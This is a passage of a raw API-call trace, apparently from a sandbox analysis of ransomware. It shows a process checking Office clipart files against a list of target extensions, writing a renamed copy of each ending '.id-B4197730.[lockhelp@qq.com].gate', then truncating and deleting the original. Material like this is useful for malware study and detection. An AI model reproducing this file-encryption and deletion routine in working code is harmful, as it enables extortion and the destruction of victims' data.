lpString2=".WMF") returned -1 [0320.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.315] lstrlenW (lpString=".zip") returned 4 [0320.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.315] lstrlenW (lpString=".rar") returned 4 [0320.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.315] lstrlenW (lpString=".bz2") returned 4 [0320.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.315] lstrlenW (lpString=".7z") returned 3 [0320.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.315] lstrlenW (lpString=".dbf") returned 4 [0320.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.316] lstrlenW (lpString=".1cd") returned 4 [0320.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.316] lstrlenW (lpString=".jpg") returned 4 [0320.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.316] lstrlenW (lpString=".doc") returned 4 [0320.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString=".docx") returned 5 [0320.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.316] lstrlenW (lpString=".pdf") returned 4 [0320.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString=".xls") returned 4 [0320.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.316] lstrlenW (lpString=".xlsx") returned 5 [0320.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.316] lstrlenW (lpString=".ppt") returned 4 [0320.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.316] lstrlenW (lpString=".zip") returned 4 [0320.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.316] lstrlenW (lpString=".rar") returned 4 [0320.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString=".bz2") returned 4 [0320.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.316] lstrlenW (lpString=".7z") returned 3 [0320.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.317] lstrlenW (lpString=".dbf") returned 4 [0320.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.317] lstrlenW (lpString=".1cd") returned 4 [0320.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.317] lstrlenW (lpString=".jpg") returned 4 [0320.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.317] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.317] lstrlenW (lpString="AN00932_.WMF") returned 12 [0320.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.317] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=14428) returned 1 [0320.317] CloseHandle (hObject=0x378) returned 1 [0320.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0320.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.318] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.318] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.318] GetLastError () returned 0x0 [0320.318] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x385c, lpOverlapped=0x0) returned 1 [0320.319] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3860, lpOverlapped=0x0) returned 1 [0320.320] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.320] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.320] SetEndOfFile (hFile=0x37c) returned 1 [0320.320] CloseHandle (hObject=0x37c) returned 1 [0320.321] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.321] SetEndOfFile (hFile=0x378) returned 1 [0320.322] CloseHandle (hObject=0x378) returned 1 [0320.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0320.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.322] lstrlenW (lpString=".doc") returned 4 [0320.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.322] lstrlenW (lpString=".docx") returned 5 [0320.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.322] lstrlenW (lpString=".pdf") returned 4 [0320.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.322] lstrlenW (lpString=".xls") returned 4 [0320.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.322] lstrlenW (lpString=".xlsx") returned 5 [0320.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.323] lstrlenW (lpString=".ppt") returned 4 [0320.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.323] lstrlenW (lpString=".zip") returned 4 [0320.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.323] lstrlenW (lpString=".rar") returned 4 [0320.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString=".bz2") returned 4 [0320.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString=".7z") returned 3 [0320.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.323] lstrlenW (lpString=".dbf") returned 4 [0320.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.323] lstrlenW (lpString=".1cd") returned 4 [0320.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.323] lstrlenW (lpString=".jpg") returned 4 [0320.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.323] lstrlenW (lpString=".doc") returned 4 [0320.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString=".docx") returned 5 [0320.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.323] lstrlenW (lpString=".pdf") returned 4 [0320.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.323] lstrlenW (lpString=".xls") returned 4 [0320.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.324] lstrlenW (lpString=".xlsx") returned 5 [0320.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.324] lstrlenW (lpString=".ppt") returned 4 [0320.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.324] lstrlenW (lpString=".zip") returned 4 [0320.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.324] lstrlenW (lpString=".rar") returned 4 [0320.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.324] lstrlenW (lpString=".bz2") returned 4 [0320.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.324] lstrlenW (lpString=".7z") returned 3 [0320.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.324] lstrlenW (lpString=".dbf") returned 4 [0320.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.324] lstrlenW (lpString=".1cd") returned 4 [0320.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0320.324] lstrlenW (lpString=".jpg") returned 4 [0320.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.324] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.324] lstrlenW (lpString="AN00965_.WMF") returned 12 [0320.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.325] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=7072) returned 1 [0320.325] CloseHandle (hObject=0x378) returned 1 [0320.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0320.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.325] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.325] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.326] GetLastError () returned 0x0 [0320.326] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0320.964] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0320.965] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.965] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.965] SetEndOfFile (hFile=0x37c) returned 1 [0320.965] CloseHandle (hObject=0x37c) returned 1 [0320.965] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.965] SetEndOfFile (hFile=0x378) returned 1 [0320.966] CloseHandle (hObject=0x378) returned 1 [0320.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0320.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.967] lstrlenW (lpString=".doc") returned 4 [0320.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.967] lstrlenW (lpString=".docx") returned 5 [0320.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.967] lstrlenW (lpString=".pdf") returned 4 [0320.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.967] lstrlenW (lpString=".xls") returned 4 [0320.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.967] lstrlenW (lpString=".xlsx") returned 5 [0320.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.967] lstrlenW (lpString=".ppt") returned 4 [0320.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.967] lstrlenW (lpString=".zip") returned 4 [0320.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.967] lstrlenW (lpString=".rar") returned 4 [0320.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.967] lstrlenW (lpString=".bz2") returned 4 [0320.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.967] lstrlenW (lpString=".7z") returned 3 [0320.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.967] lstrlenW (lpString=".dbf") returned 4 [0320.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.968] lstrlenW (lpString=".1cd") returned 4 [0320.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.968] lstrlenW (lpString=".jpg") returned 4 [0320.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.968] lstrlenW (lpString=".doc") returned 4 [0320.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString=".docx") returned 5 [0320.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.968] lstrlenW (lpString=".pdf") returned 4 [0320.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString=".xls") returned 4 [0320.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.968] lstrlenW (lpString=".xlsx") returned 5 [0320.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.968] lstrlenW (lpString=".ppt") returned 4 [0320.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.968] lstrlenW (lpString=".zip") returned 4 [0320.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.968] lstrlenW (lpString=".rar") returned 4 [0320.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString=".bz2") returned 4 [0320.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.968] lstrlenW (lpString=".7z") returned 3 [0320.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.969] lstrlenW (lpString=".dbf") returned 4 [0320.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.969] lstrlenW (lpString=".1cd") returned 4 [0320.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0320.969] lstrlenW (lpString=".jpg") returned 4 [0320.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.969] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.969] lstrlenW (lpString="AN04108_.WMF") returned 12 [0320.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.969] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=2344) returned 1 [0320.969] CloseHandle (hObject=0x378) returned 1 [0320.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0320.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.970] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.970] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.970] GetLastError () returned 0x0 [0320.970] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x928, lpOverlapped=0x0) returned 1 [0320.971] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x930, lpOverlapped=0x0) returned 1 [0320.972] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.972] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.972] SetEndOfFile (hFile=0x37c) returned 1 [0320.972] CloseHandle (hObject=0x37c) returned 1 [0320.972] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.972] SetEndOfFile (hFile=0x378) returned 1 [0320.973] CloseHandle (hObject=0x378) returned 1 [0320.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0320.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString=".doc") returned 4 [0320.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString=".docx") returned 5 [0320.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.974] lstrlenW (lpString=".pdf") returned 4 [0320.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString=".xls") returned 4 [0320.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.974] lstrlenW (lpString=".xlsx") returned 5 [0320.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.974] lstrlenW (lpString=".ppt") returned 4 [0320.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString=".zip") returned 4 [0320.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.974] lstrlenW (lpString=".rar") returned 4 [0320.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString=".bz2") returned 4 [0320.974] lstrcmpiW 